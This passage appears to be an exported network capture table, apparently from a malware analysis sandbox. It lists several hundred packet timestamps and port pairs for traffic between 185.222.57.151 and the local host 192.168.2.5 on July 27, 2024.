Jul 27, 2024 04:12:27.724899054 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.724910975 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.724924088 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.724936008 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.724937916 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.724946976 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.724982023 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725043058 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725065947 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725078106 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725090027 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725090981 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725102901 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725121021 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725123882 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725151062 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725159883 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725212097 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725224018 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725234985 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725246906 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725261927 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725267887 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725270987 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725280046 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725292921 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725294113 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725337029 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725346088 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725351095 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725363970 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725377083 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725395918 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725399017 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725430012 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725430965 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725440025 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725444078 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725455999 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725469112 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725491047 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725516081 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725548983 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725560904 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725573063 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725588083 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725599051 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725599051 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725610971 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725642920 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725670099 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725696087 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725708008 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725719929 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725727081 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725753069 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725771904 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725783110 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725784063 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725815058 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725842953 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725852013 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725853920 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725866079 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725878954 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.725904942 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.725915909 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729399920 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729485035 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729506969 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729518890 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729531050 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729542971 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729554892 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729577065 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729594946 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729605913 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729639053 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729655027 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729666948 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729677916 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729688883 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729690075 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729702950 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729717970 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729722023 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729726076 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729733944 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729747057 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729759932 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729770899 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729777098 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729784012 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729799986 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729806900 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729818106 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729820967 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729831934 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729844093 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729850054 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729866982 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729871035 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729880095 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729881048 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729908943 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729921103 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729933023 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729938984 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729943991 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.729974985 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.729991913 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730012894 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730024099 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730032921 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730046034 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730057001 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730073929 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730081081 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730092049 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730112076 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730237007 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730246067 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730269909 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730298042 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730313063 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730326891 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730339050 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730350971 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730361938 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730376959 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730384111 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730386019 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730396032 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730407000 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730408907 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730429888 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730437040 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730442047 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730448961 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730456114 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730483055 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730494976 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730500937 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730551958 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730609894 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730622053 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730633974 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730644941 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730659008 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730664015 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730673075 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730680943 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730715036 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730722904 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730731010 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730761051 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730772018 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730772972 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730786085 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730798006 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730815887 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730829000 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730854988 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730859995 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730886936 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730895996 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730912924 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730937958 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.730976105 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730988026 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.730998993 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731020927 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731023073 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731033087 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731033087 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731045961 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731056929 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731071949 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731080055 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731081009 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731103897 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731112003 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731116056 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731161118 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731204987 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731216908 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731226921 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731239080 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731250048 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731257915 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731261015 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731270075 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731272936 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731287956 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731323957 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731328011 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731336117 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731348038 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731359005 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731370926 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731374025 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731384039 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731385946 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731398106 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731409073 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731415033 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731420994 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731432915 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731432915 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731445074 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731447935 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731461048 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731467962 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731478930 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731492996 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731503010 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731507063 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731518984 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731525898 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731532097 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731560946 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731570005 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731628895 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731641054 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731652021 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731662989 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731673956 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731683016 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731695890 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731703997 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731707096 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731713057 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731719017 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731729984 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731740952 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731753111 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731759071 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731765032 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731769085 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731786013 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731796980 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731798887 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731808901 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731820107 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731827021 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731831074 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731846094 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731849909 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731859922 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731873035 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731884956 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731895924 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731901884 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731909990 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731920004 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731921911 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.731950045 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731959105 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.731973886 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.732008934 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.732021093 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.732027054 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.732033014 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.732059956 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.732072115 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.732089996 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.732101917 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.732142925 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.732155085 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.732166052 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.732171059 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.732239008 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.735243082 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735280991 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735311031 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.735368967 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.735439062 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735451937 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735462904 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735474110 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735500097 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.735539913 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.735569954 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735583067 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735634089 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.735692024 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735703945 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735752106 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735764980 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735784054 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.735816002 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735848904 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.735891104 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735903025 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735913992 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735920906 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.735963106 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.735968113 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.735975027 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736001968 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736016989 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.736048937 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.736053944 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736066103 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736097097 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736120939 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.736124039 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736136913 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736151934 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.736160040 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.736188889 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.736284018 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736296892 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736308098 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736320019 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736330986 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736335993 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.736342907 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736345053 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.736355066 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.736355066 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736377954 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736392975 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.736416101 CEST	49718	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:27.736517906 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:27.736531973 CEST	55615	49718	185.222.57.151	192.168.2.5
